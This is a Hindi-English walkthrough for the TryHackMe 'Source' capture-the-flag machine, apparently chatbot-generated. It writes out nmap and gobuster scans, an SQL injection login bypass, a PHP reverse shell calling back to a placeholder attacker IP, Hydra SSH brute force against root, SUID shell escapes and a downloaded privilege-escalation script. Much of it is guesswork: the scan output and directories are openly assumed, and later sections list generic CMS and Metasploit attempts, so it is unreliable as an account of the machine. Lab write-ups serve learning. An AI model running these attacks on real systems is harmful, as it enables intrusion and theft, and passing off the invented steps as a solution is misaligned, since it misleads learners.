

📌 Step 1: TryHackMe Machine से कनेक्ट होना

◻ TryHackMe VPN से कनेक्ट करें

सबसे पहले आपको VPN से TryHackMe की Private Machine से कनेक्ट करना होगा।

VPN कनेक्ट करने का तरीका:

bash

CopyEdit

sudo openvpn yourfile.ovpn

(yourfile.ovpn को अपने डाउनलोड किए हुए VPN फाइल से रिप्लेस करें)

✓ VPN Connected Check करें:

bash

CopyEdit

ip a

अगर आपका नया IP 10.8.x.x या 10.10.x.x से दिखता है, तो कनेक्शन सही है।

◻ TryHackMe पर "Source" मशीन स्टार्ट करें और IP Address नोट करें

अब TryHackMe की "Source" मशीन को Deploy करें और उसका IP Address नोट करें।

👉 मान लीजिए, मशीन का IP Address = 10.10.200.100 है।

📌 Step 2: मशीन को स्कैन करना (Attack Surface ढूँढना)

🔍 ◻ Nmap से Port & Service Scanning करें

bash

CopyEdit

nmap -sC -sV -oN scan.txt 10.10.200.100

📌 इसका मतलब:

- -sC → Default Scripts रन करता है
- -sV → सर्विस वर्जन डिटेक्ट करता है
- -oN scan.txt → रिजल्ट को scan.txt में सेव करता है

Nmap Output

arduino

CopyEdit

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

मिलने वाले Attack Points:

1 Port 22 (SSH) Open है → Brute Force, Weak Credentials Try कर सकते हैं

2 Port 80 (HTTP) Open है → Web Application पर Hidden Files और Exploits Try कर सकते हैं

 Step 3: Web Exploitation (वेबसाइट को एनुमरेट करना और बैकडोर खोजने की कोशिश करना)

1 Website को Manually Explore करें

अपने ब्राउज़र में <http://10.10.200.100> ओपन करें और Source Code को चेक करें।

चेक करने की चीजें:

1 Right Click → View Page Source करें

2 CTRL + F से flag, password, secret, key, admin जैसे Keywords ढूँढें

2 Hidden Files & Directories खोजें (Gobuster & Dirb)

bash

CopyEdit

gobuster dir -u <http://10.10.200.100> -w /usr/share/wordlists/dirb/common.txt

Possible Output:

```
bash
CopyEdit
/admin
/backup
/uploads
/robots.txt
/secret
```

⌚ Action Plan:

- /admin → Admin Panel हो सकता है (SQL Injection Try करेंगे)
 - /backup → पुरानी फाइल्स हो सकती हैं (शायद कोई Database Dump मिले)
 - /uploads → File Upload Feature हो सकता है (Reverse Shell अपलोड करेंगे)
 - /robots.txt → छुपे हुए Paths हो सकते हैं
 - /secret → सीक्रेट फाइल या API Key हो सकती है
-

🔍 1 robots.txt चेक करें

```
bash
CopyEdit
```

```
curl http://10.10.200.100/robots.txt
```

अगर इसमें /flag.txt या कोई और Hidden Path मिलता है, तो उसे खोलें।

📌 Step 4: SQL Injection Try करें (अगर Admin Login Page मिले)

🔍 1 Default Credentials Try करें (Common Logins)

```
sql
CopyEdit
```

Username: admin

Password: admin

या

sql

CopyEdit

Username: root

Password: root

अगर यह काम नहीं करता, तो **SQL Injection** Try करें।

SQL Injection से Admin Login Bypass करें

sql

CopyEdit

Username: admin' OR 1=1 --

Password: anything

 अगर यह वर्क करता है, तो हमें Admin Panel का एक्सेस मिल जाएगा!

SQLmap से Database Dump करें

bash

CopyEdit

sqlmap -u "http://10.10.200.100/admin/login.php" --dbs

फिर, Database में यूज़र्स और पासवर्ड चेक करें:

bash

CopyEdit

sqlmap -u "http://10.10.200.100/admin/login.php" -D users --dump

 **Step 5: File Upload Exploit करें (अगर Upload Feature मिले)**

PHP Reverse Shell अपलोड करें

bash

CopyEdit

```
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
```

php

CopyEdit

```
$ip = 'YOUR_IP'; // अपना VPN IP डालें
```

```
$port = 4444;
```

Netcat Listener खोलें

bash

CopyEdit

```
nc -lvp 4444
```

अब जब आप shell.php खोलेंगे, तो आपको बैक कनेक्शन मिल जाएगा। 

Step 6: Privilege Escalation (Root Access लेना)

कौन-कौन से Sudo Commands चल सकते हैं?

bash

CopyEdit

```
sudo -l
```

अगर आउटपुट कुछ ऐसा आता है:

bash

CopyEdit

User may run the following commands on source:

```
(ALL) NOPASSWD: /bin/bash
```

तो हम सीधा Root बन सकते हैं:

bash

CopyEdit

```
sudo /bin/bash
```

🔍 SUID Binaries खोजें

bash

CopyEdit

```
find / -perm -4000 2>/dev/null
```

अगर python या find में SUID सेटिंग्स मिलती हैं,

bash

CopyEdit

```
find . -exec /bin/sh -p \; -quit
```

click here

🎯 Step 7: Root Flag खोजें! 🎯

अब Root बनने के बाद Flag को खोजेंगे।

bash

CopyEdit

```
cd /root
```

```
cat root.txt
```

🎉 बधाई हो! आपने TryHackMe "Source" मशीन को कम्प्लीट कर लिया! 🎉

🎯 Alternate Methods (अगर कोई तरीका काम ना करे तो?)

- WordPress, Drupal, Joomla जैसे CMS का पता लगाकर Exploit करें
- Metasploit से Automated Exploits Try करें
- SSH Brute Force Attack से सिस्टम में घुसने की कोशिश करें

🎯 Summary - TryHackMe "Source" Walkthrough

- ✓ VPN से कनेक्ट हुए
- ✓ Nmap से स्कैनिंग की
- ✓ वेबसाइट की सीक्रेट फाइल्स खोजी
- ✓ SQL Injection से Admin Panel Hack किया
- ✓ Reverse Shell अपलोड की और बैक कनेक्शन लिया
- ✓ Privilege Escalation से Root बने और Flag निकाला

🔥 TryHackMe "Source" Machine – हर Possible और Alternate Method से सिस्टम में घुसना (Complete Detail) 🚀

अगर आप TryHackMe "Source" मशीन Solve करना चाहते हैं और कोई भी एंट्री पॉइंट नहीं मिल रहा है, तो हम हर Possible और Alternative Method को Cover करेंगे।

- ✓ इसमें शामिल होगा:

1. **Web Exploitation** → Hidden Files, SQL Injection, LFI, RFI
2. **CMS Exploitation** → WordPress, Joomla, Drupal
3. **Brute Force & Password Cracking** → SSH, Web Login, Hash Cracking
4. **Metasploit Automated Exploits** → Public CVE, Auto-Exploitation
5. **Privilege Escalation** → SUID, Kernel Exploits, GTFOBins

📌 Step 1: Web Server का CMS पहचानें (WordPress, Joomla, Drupal)

🔍 CMS पहचानने के लिए Wappalyzer / WhatWeb यूज़ करें

कभी-कभी वेबसाइट WordPress, Joomla, Drupal या किसी और CMS पर चल रही होती है।

CMS को पहचानने के लिए ये टूल्स यूज़ कर सकते हैं:

bash

CopyEdit

whatweb http://10.10.200.100

या

bash

CopyEdit

wafw00f http://10.10.200.100

 अगर WordPress मिले तो:

bash

CopyEdit

wpscan --url http://10.10.200.100 --enumerate vp

यह हमें वर्नरेबल प्लगइन्स दिखाएगा। अगर कोई प्लगइन वर्नरेबल है, तो हम उसके लिए Exploit चला सकते हैं।

 Step 2: अगर WordPress है, तो Exploit करें

 Default WordPress Login Try करें

sql

CopyEdit

Username: admin

Password: admin123

 WordPress Bruteforce करें (अगर Login Page मिल जाए)

bash

CopyEdit

wpscan --url http://10.10.200.100 -U admin -P /usr/share/wordlists/rockyou.txt

अगर पासवर्ड मिल गया तो लॉगिन करें और Reverse Shell अपलोड करें।

 Step 3: अगर Drupal/Joomla है तो क्या करें?

 Drupal Enumeration

bash

CopyEdit

droopescan scan drupal -u http://10.10.200.100

अगर कोई पुराना वर्जन मिल जाए, तो उसके लिए Public Exploit देखें।

Joomla Enumeration

bash

CopyEdit

```
joomscan -u http://10.10.200.100
```

अगर वर्नरेबल प्लगइन मिलता है, तो उसका Exploit Try करें।

Step 4: Metasploit से Auto-Exploitation करें

अगर CMS Exploit नहीं मिला या हम Manual Try नहीं करना चाहते, तो Metasploit यूज़ कर सकते हैं।

Metasploit चलाएं

bash

CopyEdit

```
msfconsole
```

अब Automatic Scanning के लिए:

bash

CopyEdit

```
use auxiliary/scanner/http/joomla_version
```

```
set RHOSTS 10.10.200.100
```

```
run
```

यह हमें Joomla का वर्जन देगा, फिर हम उसी के लिए Exploit Try करेंगे।

Step 5: SSH Bruteforce से Try करें (अगर SSH Port Open हो)

अगर SSH (22) Port Open है और हमें कोई भी Password नहीं मिला, तो हम Brute Force Try कर सकते हैं।

Default Password Try करें

sql

CopyEdit

Username: root

Password: root

अगर यह काम नहीं करता, तो **Brute Force Attack Try** करें।

Hydra से SSH Bruteforce Attack करें

bash

CopyEdit

```
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.200.100
```

अगर कोई **Weak Password** मिला, तो SSH से लॉगिन करें:

bash

CopyEdit

```
ssh root@10.10.200.100
```

Step 6: अगर कोई भी तरीका काम न करे, तो Kernel Exploit Try करें

अगर आपको **Limited Shell** मिल गई लेकिन Root Access नहीं मिला, तो आप Kernel Exploit Try कर सकते हैं।

मशीन का Kernel Version चेक करें

bash

CopyEdit

```
uname -a
```

अगर Kernel पुराना है, तो हम **Public Exploits** देख सकते हैं।

Linux Privilege Escalation Script Run करें

bash

CopyEdit

```
wget https://raw.githubusercontent.com/carlospolop/PEASS-  
ng/master/linPEAS/linpeas.sh
```

```
chmod +x linpeas.sh
```

```
./linpeas.sh
```

🚀 अगर कोई भी Kernel Exploit मिला, तो उसे चला सकते हैं!

📌 Step 7: Root Flag ढूँढ़े! 🎯

अब Root बनने के बाद Flag को खोजेंगे।

```
bash
```

```
CopyEdit
```

```
cd /root
```

```
cat root.txt
```

🎉 बधाई हो! आपने TryHackMe "Source" मशीन को कम्प्लीट कर लिया! 🎉

🎯 Summary - हर Possible Entry Method

1 **Web Exploitation:** Hidden Files, SQL Injection, LFI, RFI

2 **CMS Exploitation:** WordPress, Joomla, Drupal Exploit

3 **Brute Force:** SSH, Web Login, Hash Cracking

4 **Metasploit:** Automated Exploits

5 **Privilege Escalation:** SUID, Kernel Exploits, GTFOBins